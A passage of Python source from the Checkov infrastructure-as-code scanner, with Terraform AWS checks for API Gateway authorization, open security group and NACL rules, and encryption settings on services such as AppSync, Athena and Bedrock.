import CheckCategories, CheckResult class APIGatewayMethodWOAuth(BaseResourceCheck): def __init__(self) -> None: name = "Ensure API gateway method has authorization or API key set" id = "CKV2_AWS_70" supported_resources = ('aws_api_gateway_method',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def _is_policy_secure(self, policy: Dict[str, Any]) -> CheckResult: # Check that the policy doesn't allow for all principals to us action execute-api:Invoke passed = True if policy.get("Statement"): for p in policy.get("Statement"): # Pass if there is any Deny for execute-api:Invoke if p.get("Effect") == "Deny" and p.get("Principal") == "*": if (isinstance(p.get("Action"), str) and p.get("Action") in ["execute-api:Invoke", "execute-api:*", "*"]) or \ (isinstance(p.get("Action"), list) and any(action in ["execute-api:Invoke", "execute-api:*", "*"] for action in p.get("Action"))): return CheckResult.PASSED # Fail if there is an Allow for execute-api:Invoke without a Deny or Conditions if p.get("Effect") == "Allow" and p.get("Principal") == "*" and "Condition" not in p: if (isinstance(p.get("Action"), str) and p.get("Action") in ["execute-api:Invoke", "execute-api:*", "*"]) or \ (isinstance(p.get("Action"), list) and any(action in ["execute-api:Invoke", "execute-api:*", "*"] for action in p.get("Action"))): passed = False if passed: return CheckResult.PASSED else: return CheckResult.FAILED elif policy.get("statement"): policy_statement = policy.get("statement") if isinstance(policy_statement, dict): policy_statement = [policy_statement] for p in policy_statement: # Pass if there is any Deny for execute-api:Invoke if p.get("effect") and p.get("effect") == "Deny" and p.get("principals").get("identifiers") and \ p.get("principals").get("identifiers") == ["*"]: if (isinstance(p.get("actions"), str) and p.get("actions") in ["execute-api:Invoke", "execute-api:*", "*"]) or \ (isinstance(p.get("actions"), list) and any(action in ["execute-api:Invoke", "execute-api:*", "*"] for action in p.get("actions"))): return CheckResult.PASSED # Fail if there is an Allow for execute-api:Invoke without a Deny or Conditions if p.get("effect") and p.get("effect") == "Allow" and p.get("principals").get("identifiers") and \ p.get("principals").get("identifiers") == ['*'] and "condition" not in p: if (isinstance(p.get("actions"), str) and p.get("actions") in ["execute-api:Invoke", "execute-api:*", "*"]) or \ (isinstance(p.get("actions"), list) and any(action in ["execute-api:Invoke", "execute-api:*", "*"] for action in p.get("actions"))): passed = False if passed: return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.UNKNOWN def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # Pass if authorization is not NONE or if api_key_required = true (explicitly) or if http_method is anything # other than OPTIONS if conf.get("authorization", [None])[0] != 'NONE' or \ conf.get("api_key_required", [False])[0] or \ conf.get("http_method", [None])[0] != "OPTIONS": return CheckResult.PASSED # Find connected `aws_api_gateway_rest_api` resources rest_api_id = conf.get("rest_api_id")[0].rsplit('.', 1)[0] connected_rest_api_nodes = [g for g in self.graph.nodes() if g[1].get(CustomAttributes.ID) == rest_api_id] if connected_rest_api_nodes: connected_rest_api = connected_rest_api_nodes[0][1] # If only PRIVATE (only private not ["EDGE","PRIVATE"] as an example) if "endpoint_configuration" in connected_rest_api and \ "types" in connected_rest_api.get("endpoint_configuration") and \ connected_rest_api.get("endpoint_configuration").get("types") == ["PRIVATE"]: return CheckResult.PASSED elif "policy" in connected_rest_api: return self._is_policy_secure(connected_rest_api.get("policy")) else: # Check for connected `aws_api_gateway_rest_api_policy` # If so, check that it follows the rules above connected_rest_api_policy_nodes = [ g2 for g2 in self.graph.nodes() if g2[1].get(CustomAttributes.RESOURCE_TYPE) == "aws_api_gateway_rest_api_policy" and g2[1].get("rest_api_id").rsplit('.', 1)[0] == rest_api_id ] if connected_rest_api_policy_nodes: policy_statement = connected_rest_api_policy_nodes[0][1].get("policy") if isinstance(policy_statement, dict): return self._is_policy_secure(policy_statement) elif isinstance(policy_statement, str) and policy_statement.split('.')[0] == 'data' and \ policy_statement.split('.')[-1] == 'json': target_id = '.'.join(policy_statement.split('.')[1:-1]) connected_iam_policy_doc = [ g3 for g3 in self.graph.nodes() if g3[1].get(CustomAttributes.BLOCK_TYPE) == "data" and g3[1].get(CustomAttributes.ID) == target_id ] if connected_iam_policy_doc[0][1].get("statement"): return self._is_policy_secure(connected_iam_policy_doc[0][1]) else: return CheckResult.UNKNOWN return CheckResult.UNKNOWN # If there is no connected `aws_api_gateway_rest_api` then return UNKNOWN return CheckResult.UNKNOWN check = APIGatewayMethodWOAuth() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayV2RouteDefinesAuthorizationType.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from typing import Any, List class APIGatewayV2RouteDefinesAuthorizationType(BaseResourceValueCheck): def __init__(self): """ NIST.800-53.r5 AC-3, NIST.800-53.r5 CM-2, NIST.800-53.r5 CM-2(2) """ name = "Ensure API GatewayV2 routes specify an authorization type" id = "CKV_AWS_309" supported_resources = ['aws_apigatewayv2_route'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "authorization_type" def get_expected_values(self) -> List[Any]: return ["AWS_IAM", "CUSTOM", "JWT"] check = APIGatewayV2RouteDefinesAuthorizationType() ================================================ FILE: checkov/terraform/checks/resource/aws/APIGatewayXray.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class APIGatewayXray(BaseResourceValueCheck): def __init__(self): name = "Ensure API Gateway has X-Ray Tracing enabled" id = "CKV_AWS_73" supported_resources = ['aws_api_gateway_stage'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "xray_tracing_enabled" check = APIGatewayXray() ================================================ FILE: checkov/terraform/checks/resource/aws/AWSCodeGuruHasCMK.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AWSCodeGuruHasCMK(BaseResourceCheck): def __init__(self): # This is the full description of your check description = "Make sure that aws_codegurureviewer_repository_association has a CMK" # This is the Unique ID for your check id = "CKV_AWS_381" # These are the terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ['aws_codegurureviewer_repository_association'] # Valid CheckCategories are defined in checkov/common/models/enums.py categories = [CheckCategories.ENCRYPTION] super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if 'kms_key_details' in conf: kms_key_details = conf['kms_key_details'][0] if 'encryption_option' in kms_key_details: encryption_option = kms_key_details['encryption_option'][0] if encryption_option == 'CUSTOMER_MANAGED_CMK': return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['kms_key_details'] check = AWSCodeGuruHasCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/AbsNACLUnrestrictedIngress.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AbsNACLUnrestrictedIngress(BaseResourceCheck): def __init__(self, check_id, port): name = "Ensure no NACL allow ingress from 0.0.0.0:0 to port %d" % port supported_resources = ['aws_network_acl', 'aws_network_acl_rule'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port def scan_resource_conf(self, conf): """ Return PASS if: - The NACL doesn't allow unrestricted ingress to the port - The resource is an aws_network_acl of type 'ingress' that does not violate the check. Return FAIL if: - The NACL allows unrestricted access to the port Return UNKNOWN if: - the resource is an NACL of type 'egress', OR :param conf: aws_network_acl configuration :return: """ if conf.get("ingress"): ingress = conf.get("ingress") # rules are processed in numeric order if isinstance(ingress, list): entry = ingress[0] if isinstance(entry, list): entry = ingress[0] if isinstance(entry, dict) and entry.get('rule_no'): ingress[0].sort(key=lambda x: x.get('rule_no')) elif isinstance(ingress[0], dict) and ingress[0].get('rule_no'): ingress.sort(key=lambda x: x.get('rule_no')) for rule in ingress: rule_lst = rule if not isinstance(rule_lst, list): rule_lst = [rule_lst] for sub_rule in rule_lst: if not isinstance(sub_rule, dict): return CheckResult.UNKNOWN if not self.check_rule(sub_rule): return CheckResult.FAILED if self.check_deny_rule(sub_rule): return CheckResult.PASSED return CheckResult.PASSED # maybe it's a network_acl_rule if conf.get("network_acl_id"): if not conf.get("egress") or not conf.get("egress")[0]: if not self.check_rule(conf): return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN def check_rule(self, rule): try: from_port = int(rule.get('from_port', [None])[0]) to_port = int(rule.get('to_port', [None])[0]) except (TypeError, ValueError): from_port = None to_port = None if rule.get('cidr_block'): if rule.get('cidr_block') == ["0.0.0.0/0"]: if rule.get('action') == ["allow"] or rule.get('rule_action') == ["allow"]: protocol = rule.get('protocol') if protocol and str(protocol[0]) == "-1": return False if from_port and to_port and from_port <= self.port <= to_port: return False if rule.get('ipv6_cidr_block'): if rule.get('ipv6_cidr_block') == ["::/0"]: if rule.get('action') == ["allow"] or rule.get('rule_action') == ["allow"]: protocol = rule.get('protocol') if protocol and str(protocol[0]) == "-1": return False if from_port and to_port and from_port <= self.port <= to_port: return False return True def check_deny_rule(self, rule): try: from_port = int(rule.get('from_port', [None])[0]) to_port = int(rule.get('to_port', [None])[0]) except (TypeError, ValueError): from_port = None to_port = None if rule.get('cidr_block') == ["0.0.0.0/0"]: if rule.get('action') == ["deny"] or rule.get('rule_action') == ["deny"]: protocol = rule.get('protocol') if protocol and str(protocol[0]) == "-1": return True if from_port and to_port and from_port <= self.port <= to_port: return True if rule.get('ipv6_cidr_block') == ["::/0"]: if rule.get('action') == ["deny"] or rule.get('rule_action') == ["deny"]: protocol = rule.get('protocol') if protocol and str(protocol[0]) == "-1": return True if from_port and to_port and from_port <= self.port <= to_port: return True return False ================================================ FILE: checkov/terraform/checks/resource/aws/AbsSecurityGroupUnrestrictedEgress.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list from checkov.common.util.type_forcers import force_int class AbsSecurityGroupUnrestrictedEgress(BaseResourceCheck): def __init__(self, check_id: str, port: int) -> None: name = f"Ensure no security groups allow egress from 0.0.0.0:0 to port {port}" supported_resources = ('aws_security_group', 'aws_security_group_rule', 'aws_vpc_security_group_egress_rule') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for configuration at security group egress rules : https://www.terraform.io/docs/providers/aws/r/security_group.html https://www.terraform.io/docs/providers/aws/r/security_group_rule.html Return PASS if: - The resource is an aws_security_group that contains no violating egress rules (including if there are no egress rules at all), OR - The resource is an aws_security_group_rule of type 'egress' that does not violate the check. Return FAIL if: - The resource is an aws_security_group that contains a violating egress rule, OR - The resource is an aws_security_group_rule of type 'egress' that violates the check. Return UNKNOWN if: - the resource is an aws_security_group_rule of type 'egress', OR :param conf: aws_security_group configuration :return: """ if 'egress' in conf: # This means it's an SG resource with egress block(s) egress_conf = conf['egress'] for egress_rule in egress_conf: for rule in force_list(egress_rule): if isinstance(rule, dict): if self.check_self(rule): return CheckResult.PASSED if self.contains_violation(rule): self.evaluated_keys = [ f'egress/[{egress_conf.index(egress_rule)}]/from_port', f'egress/[{egress_conf.index(egress_rule)}]/to_port', f'egress/[{egress_conf.index(egress_rule)}]/cidr_blocks', f'egress/[{egress_conf.index(egress_rule)}]/ipv6_cidr_blocks', ] return CheckResult.FAILED return CheckResult.PASSED if 'type' in conf: # This means it's an SG_rule resource. type = force_list(conf['type'])[0] if type == 'egress': if self.check_self(conf): return CheckResult.PASSED self.evaluated_keys = ['from_port', 'to_port', 'cidr_blocks', 'ipv6_cidr_blocks'] if self.contains_violation(conf): return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN else: self.evaluated_keys = ['from_port', 'to_port', 'cidr_ipv4', 'cidr_ipv6'] if 'from_port' in conf or 'to_port' in conf: if self.contains_violation(conf): return CheckResult.FAILED return CheckResult.PASSED return CheckResult.PASSED def contains_violation(self, conf: dict[str, list[Any]]) -> bool: from_port = force_int(force_list(conf.get('from_port', [{-1}]))[0]) to_port = force_int(force_list(conf.get('to_port', [{-1}]))[0]) protocol = force_list(conf.get('protocol', [None]))[0] if from_port == 0 and to_port == 0: to_port = 65535 prefix_list_ids = conf.get('prefix_list_ids') if prefix_list_ids and prefix_list_ids != [[]]: return False if from_port is not None and to_port is not None and (from_port <= self.port <= to_port) or ( protocol == '-1' and from_port == 0 and to_port == 65535): if conf.get('cidr_blocks'): conf_cidr_blocks = conf.get('cidr_blocks', [[]]) else: conf_cidr_blocks = conf.get('cidr_ipv4', [[]]) if conf_cidr_blocks and len(conf_cidr_blocks) > 0: conf_cidr_blocks = conf_cidr_blocks[0] cidr_blocks = force_list(conf_cidr_blocks) if "0.0.0.0/0" in cidr_blocks: return True if conf.get('ipv6_cidr_blocks'): ipv6_cidr_blocks = conf.get('ipv6_cidr_blocks', []) else: ipv6_cidr_blocks = conf.get('cidr_ipv6', []) if ipv6_cidr_blocks and ipv6_cidr_blocks[0] is not None and \ any(ip in ['::/0', '0000:0000:0000:0000:0000:0000:0000:0000/0'] for ip in ipv6_cidr_blocks[0]): return True if not ipv6_cidr_blocks and not cidr_blocks \ and conf.get('security_groups') is None \ and conf.get('source_security_group_id') is None: return True return False def check_self(self, conf: dict[str, list[Any]]) -> bool: if conf.get('self'): limit = force_list(conf['self'])[0] if limit: return True return False ================================================ FILE: checkov/terraform/checks/resource/aws/AbsSecurityGroupUnrestrictedIngress.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list from checkov.common.util.type_forcers import force_int class AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck): def __init__(self, check_id: str, port: int) -> None: name = f"Ensure no security groups allow ingress from 0.0.0.0:0 to port {port}" supported_resources = ('aws_security_group', 'aws_security_group_rule', 'aws_vpc_security_group_ingress_rule') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for configuration at security group ingress rules : https://www.terraform.io/docs/providers/aws/r/security_group.html https://www.terraform.io/docs/providers/aws/r/security_group_rule.html Return PASS if: - The resource is an aws_security_group that contains no violating ingress rules (including if there are no ingress rules at all), OR - The resource is an aws_security_group_rule of type 'ingress' that does not violate the check. Return FAIL if: - The resource is an aws_security_group that contains a violating ingress rule, OR - The resource is an aws_security_group_rule of type 'ingress' that violates the check. Return UNKNOWN if: - the resource is an aws_security_group_rule of type 'egress', OR :param conf: aws_security_group configuration :return: """ if 'ingress' in conf: # This means it's an SG resource with ingress block(s) ingress_conf = conf['ingress'] for ingress_rule in ingress_conf: for rule in force_list(ingress_rule): if isinstance(rule, dict): if self.check_self(rule): return CheckResult.PASSED if self.contains_violation(rule): self.evaluated_keys = [ f'ingress/[{ingress_conf.index(ingress_rule)}]/from_port', f'ingress/[{ingress_conf.index(ingress_rule)}]/to_port', f'ingress/[{ingress_conf.index(ingress_rule)}]/cidr_blocks', f'ingress/[{ingress_conf.index(ingress_rule)}]/ipv6_cidr_blocks', ] return CheckResult.FAILED return CheckResult.PASSED if 'type' in conf: # This means it's an SG_rule resource. type = force_list(conf['type'])[0] if type == 'ingress': if self.check_self(conf): return CheckResult.PASSED self.evaluated_keys = ['from_port', 'to_port', 'cidr_blocks', 'ipv6_cidr_blocks'] if self.contains_violation(conf): return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN else: self.evaluated_keys = ['from_port', 'to_port', 'cidr_ipv4', 'cidr_ipv6'] if 'from_port' in conf or 'to_port' in conf: if self.contains_violation(conf): return CheckResult.FAILED return CheckResult.PASSED return CheckResult.PASSED def contains_violation(self, conf: dict[str, list[Any]]) -> bool: from_port = force_int(force_list(conf.get('from_port', [{-1}]))[0]) to_port = force_int(force_list(conf.get('to_port', [{-1}]))[0]) protocol = force_list(conf.get('protocol', [None]))[0] if from_port == 0 and to_port == 0: to_port = 65535 prefix_list_ids = conf.get('prefix_list_ids') if prefix_list_ids and prefix_list_ids != [[]]: return False if from_port is not None and to_port is not None and (from_port <= self.port <= to_port) or ( protocol == '-1' and from_port == 0 and to_port == 65535): if conf.get('cidr_blocks'): conf_cidr_blocks = conf.get('cidr_blocks', [[]]) else: conf_cidr_blocks = conf.get('cidr_ipv4', [[]]) if conf_cidr_blocks and len(conf_cidr_blocks) > 0: conf_cidr_blocks = conf_cidr_blocks[0] cidr_blocks = force_list(conf_cidr_blocks) if "0.0.0.0/0" in cidr_blocks: return True if conf.get('ipv6_cidr_blocks'): ipv6_cidr_blocks = conf.get('ipv6_cidr_blocks', []) else: ipv6_cidr_blocks = conf.get('cidr_ipv6', []) if ipv6_cidr_blocks and ipv6_cidr_blocks[0] is not None and \ any(ip in ['::/0', '0000:0000:0000:0000:0000:0000:0000:0000/0'] for ip in ipv6_cidr_blocks[0]): return True if not ipv6_cidr_blocks and not cidr_blocks \ and conf.get('security_groups') is None \ and conf.get('source_security_group_id') is None: return True return False def check_self(self, conf: dict[str, list[Any]]) -> bool: if conf.get('self'): limit = force_list(conf['self'])[0] if limit: return True return False ================================================ FILE: checkov/terraform/checks/resource/aws/AppFlowConnectorProfileUsesCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class AppFlowConnectorProfileUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure AppFlow connector profile uses CMK" id = "CKV_AWS_264" supported_resources = ['aws_appflow_connector_profile'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_arn' def get_expected_value(self): return ANY_VALUE check = AppFlowConnectorProfileUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/AppFlowUsesCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class AppFlowUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure AppFlow flow uses CMK" id = "CKV_AWS_263" supported_resources = ['aws_appflow_flow'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_arn' def get_expected_value(self): return ANY_VALUE check = AppFlowUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/AppSyncFieldLevelLogs.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppSyncFieldLevelLogs(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AppSync has Field-Level logs enabled" id = "CKV_AWS_194" supported_resources = ("aws_appsync_graphql_api",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "log_config/[0]/field_log_level" def get_expected_values(self) -> List[Any]: return ["ALL", "ERROR"] check = AppSyncFieldLevelLogs() ================================================ FILE: checkov/terraform/checks/resource/aws/AppSyncLogging.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AppSyncLogging(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AppSync has Logging enabled" id = "CKV_AWS_193" supported_resources = ("aws_appsync_graphql_api",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "log_config/[0]/cloudwatch_logs_role_arn" def get_expected_value(self) -> Any: return ANY_VALUE check = AppSyncLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionAtRest.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class AppsyncCacheEncryptionAtRest(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AppSync API Cache is encrypted at rest" id = "CKV_AWS_214" supported_resources = ["aws_appsync_api_cache"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "at_rest_encryption_enabled" check = AppsyncCacheEncryptionAtRest() ================================================ FILE: checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionInTransit.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class AppsyncCacheEncryptionInTransit(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AppSync API Cache is encrypted in transit" id = "CKV_AWS_215" supported_resources = ["aws_appsync_api_cache"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return "transit_encryption_enabled" check = AppsyncCacheEncryptionInTransit() ================================================ FILE: checkov/terraform/checks/resource/aws/AthenaDatabaseEncryption.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AthenaDatabaseEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Athena Database is encrypted at rest (default is unencrypted)" id = "CKV_AWS_77" supported_resources = ['aws_athena_database'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "encryption_configuration/[0]/encryption_option" def get_expected_value(self): return ANY_VALUE check = AthenaDatabaseEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/AthenaWorkgroupConfiguration.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AthenaWorkgroupConfiguration(BaseResourceValueCheck): def __init__(self): name = "Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption" id = "CKV_AWS_82" supported_resources = ['aws_athena_workgroup'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return "configuration/[0]/enforce_workgroup_configuration" check = AthenaWorkgroupConfiguration() ================================================ FILE: checkov/terraform/checks/resource/aws/AthenaWorkgroupEncryption.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class AthenaWorkgroupEncryption(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Athena Workgroup is encrypted" id = "CKV_AWS_159" supported_resources = ("aws_athena_workgroup",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "configuration/[0]/result_configuration/[0]/encryption_configuration/[0]/encryption_option" def get_expected_value(self) -> Any: return ANY_VALUE check = AthenaWorkgroupEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/AuroraEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class AuroraEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in Aurora is securely encrypted at rest" id = "CKV_AWS_96" supported_resources = ['aws_rds_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/aurora-serverless.how-it-works.html#aurora-serverless.snapshots # If aurora serverless is used it is always encrypted key = 'engine_mode' if key in conf.keys(): if conf[key] == ['serverless']: return CheckResult.PASSED return super().scan_resource_conf(conf) def get_inspected_key(self): return "storage_encrypted" check = AuroraEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/AutoScalingGroupWithPublicAccess.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class AutoScalingGroupWithPublicAccess(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure AWS Auto Scaling group launch configuration doesn't have public IP address assignment enabled" id = "CKV_AWS_389" supported_resources = ['aws_launch_configuration'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_forbidden_values(self): return [True] def get_inspected_key(self): return "associate_public_ip_address" check = AutoScalingGroupWithPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/aws/AutoScalingLaunchTemplate.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class AutoScalingLaunchTemplate(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2, NIST.800-53.r5 CM-2(2) EC2 Auto Scaling groups should use EC2 launch templates """ name = "Ensure EC2 Auto Scaling groups use EC2 launch templates" id = "CKV_AWS_315" supported_resources = ("aws_autoscaling_group",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if "launch_template" in conf: return CheckResult.PASSED if "mixed_instances_policy" in conf and "launch_template" in conf["mixed_instances_policy"][0]: return CheckResult.PASSED return CheckResult.FAILED check = AutoScalingLaunchTemplate() ================================================ FILE: checkov/terraform/checks/resource/aws/AutoScalingTagging.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class AutoScalingTagging(BaseResourceCheck): def __init__(self): name = "Autoscaling groups should supply tags to launch configurations" id = "CKV_AWS_153" supported_resources = ['aws_autoscaling_group'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for tag or tags """ if "tag" in conf.keys() or "tags" in conf.keys(): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['tag', 'tags'] check = AutoScalingTagging() ================================================ FILE: checkov/terraform/checks/resource/aws/BackupVaultEncrypted.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class BackupVaultEncrypted(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Backup Vault is encrypted at rest using KMS CMK" id = "CKV_AWS_166" supported_resources = ("aws_backup_vault",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_arn" def get_expected_value(self) -> Any: return ANY_VALUE check = BackupVaultEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/BatchJobIsNotPrivileged.py ================================================ from __future__ import annotations import json from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class BatchJobIsNotPrivileged(BaseResourceCheck): def __init__(self) -> None: name = "Batch job does not define a privileged container" id = "CKV_AWS_210" supported_resources = ("aws_batch_job_definition",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ["container_properties"] container_properties = conf.get("container_properties") if container_properties: if isinstance(container_properties[0], str): try: container = json.loads(container_properties[0]) except json.JSONDecodeError: return CheckResult.UNKNOWN else: container = container_properties[0] if not isinstance(container, dict): return CheckResult.UNKNOWN if container.get("privileged"): self.evaluated_keys.append("container_properties/[0]/privileged") return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = BatchJobIsNotPrivileged() ================================================ FILE: checkov/terraform/checks/resource/aws/BedrockAgentEncrypted.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class BedrockAgentEncrypted(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Bedrock Agent is encrypted with a CMK" id = "CKV_AWS_373" supported_resources = ("aws_bedrockagent_agent",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "customer_encryption_key_arn" def get_expected_value(self) -> Any: return ANY_VALUE check = BedrockAgentEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/BedrockGuardrails.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class BedrockGuardrails(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure AWS Bedrock agent is associated with Bedrock guardrails" id = "CKV_AWS_383" supported_resources = ("aws_bedrockagent_agent",) categories = (CheckCategories.AI_AND_ML,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "guardrail_configuration/[0]/guardrail_identifier" def get_expected_value(self) -> Any: return ANY_VALUE check = BedrockGuardrails() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudFrontGeoRestrictionDisabled.py ================================================ from checkov.common.models.enums import CheckCategories from 